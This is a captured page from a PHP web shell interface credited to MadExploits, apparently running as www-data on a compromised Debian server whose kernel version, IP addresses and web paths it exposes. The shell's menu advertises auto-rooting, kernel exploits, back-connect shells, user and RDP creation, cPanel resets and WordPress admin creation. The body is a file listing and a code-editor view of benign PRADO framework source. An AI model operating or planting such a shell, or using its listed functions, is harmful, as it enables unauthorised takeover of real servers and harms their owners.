Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.222.119.143
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPluginModule.php
<?php /** * TPluginModule class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; use Prado\Exceptions\TException; use Prado\TPropertyValue; use Prado\Util\Behaviors\TPageServiceExtraPathsBehavior; use ReflectionClass; /** * TPluginModule class. * * TPluginModule is for extending PRADO through Composer packages. This installs * its own Pages, where available, and its own error message file for the module. * * Plugin pages should implement their *.page with the following page code: * <code> * <com:TContent ID=<%$ PluginContentId %>> * ... your page content ... * </com:TContent> * </code> * The 'PluginContentId' application parameter is what all plugin pages should implement as * the page TContent ID. This way all plugin pages can be changed to the page MasterClass * layout TContentPlaceHolder for the application and layout. For example in the application * configuration file: * <code> * <parameters> * <parameter id="PluginContentId" value="Main" /> * </parameters> * </code> * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TPluginModule extends \Prado\TModule implements IPluginModule { /** Module pages directory for finding pages of a module */ public const PAGES_DIRECTORY = 'Pages'; /** @var string path of the plugin */ private $_pluginPath; /** @var string path of the pages folder for the plugin*/ private $_pagesPath; /** @var string relative pages path to $_pluginPath */ private $_relativePagesPath = self::PAGES_DIRECTORY; /** * initializes the plugin module, looks for a Pages directory and adds a new {@link TBehavior} * to help TPageService find any plugin module pages * @param array $config this is the manifest for the plugin module */ public function init($config) { if ($this->getPluginPagesPath() !== null) { $this->getApplication()->attachEventHandler('onBeginRequest', [$this, 'attachPageServiceBehavior']); } if ($errorFile = $this->getErrorFile()) { TException::addMessageFile($errorFile); } parent::init($config); } /** * Called onBeginRequest * @param mixed $sender * @param mixed $param */ public function attachPageServiceBehavior($sender, $param) { $service = $this->getService(); if ($service instanceof \Prado\Web\Services\TPageService) { $service->attachEventHandler('onAdditionalPagePaths', [$this, 'additionalPagePaths']); } } /** * additionalPagePaths returns possible alternative paths for the $pagePath * @param \Prado\Web\Services\TPageService $service * @param string $pagePath */ public function additionalPagePaths($service, $pagePath) { return $this->getPluginPagesPath() . DIRECTORY_SEPARATOR . strtr($pagePath, '.', DIRECTORY_SEPARATOR); } /** * @return null|string the path of the error file for the plugin module */ public function getErrorFile() { $errorFile = $this->getPluginPath() . DIRECTORY_SEPARATOR . 'errorMessages.txt'; if (is_file($errorFile)) { return $errorFile; } return null; } /** * @return string path of the plugin */ public function getPluginPath() { if ($this->_pluginPath === null) { $reflect = new ReflectionClass(get_class($this)); $this->_pluginPath = dirname($reflect->getFileName()); } return $this->_pluginPath; } /** * @param string $path */ public function setPluginPath($path) { $this->_pluginPath = $path; } /** * @return string the path of the Pages director for the plugin, if available */ public function getPluginPagesPath() { if ($this->_pagesPath === null) { $path = $this->getPluginPath(); $basePath = $path . DIRECTORY_SEPARATOR . $this->_relativePagesPath; if (($this->_pagesPath = realpath($basePath)) === false || !is_dir($this->_pagesPath)) { $basePath = $path . DIRECTORY_SEPARATOR . strtolower($this->_relativePagesPath); if (($this->_pagesPath = realpath($basePath)) === false || !is_dir($this->_pagesPath)) { $this->_pagesPath = false; } } } return $this->_pagesPath; } /** * @param string $path */ public function setPluginPagesPath($path) { $this->_pagesPath = TPropertyValue::ensureString($path); $this->_relativePagesPath = null; } /** * @return string relative path from PluginPath */ public function getRelativePagesPath() { if ($this->_relativePagesPath === null) { if (stripos($this->_pagesPath, $this->getPluginPath()) === 0) { $this->_relativePagesPath = substr($this->_pagesPath, strlen($this->getPluginPath()) + 1); } } return $this->_relativePagesPath; } /** * @param string $relativePagesPath relative path of PluginPagesPath from PluginPath */ public function setRelativePagesPath($relativePagesPath) { $this->_relativePagesPath = TPropertyValue::ensureString($relativePagesPath); $this->_pagesPath = null; } }
Close